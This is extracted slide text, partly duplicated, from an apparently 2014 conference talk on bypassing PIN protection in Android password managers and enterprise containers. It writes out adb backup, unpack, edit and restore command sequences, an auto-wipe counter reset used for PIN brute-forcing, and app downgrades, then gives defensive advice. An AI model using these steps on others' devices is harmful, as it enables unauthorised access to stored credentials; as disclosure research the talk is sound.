Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 66: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 67: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

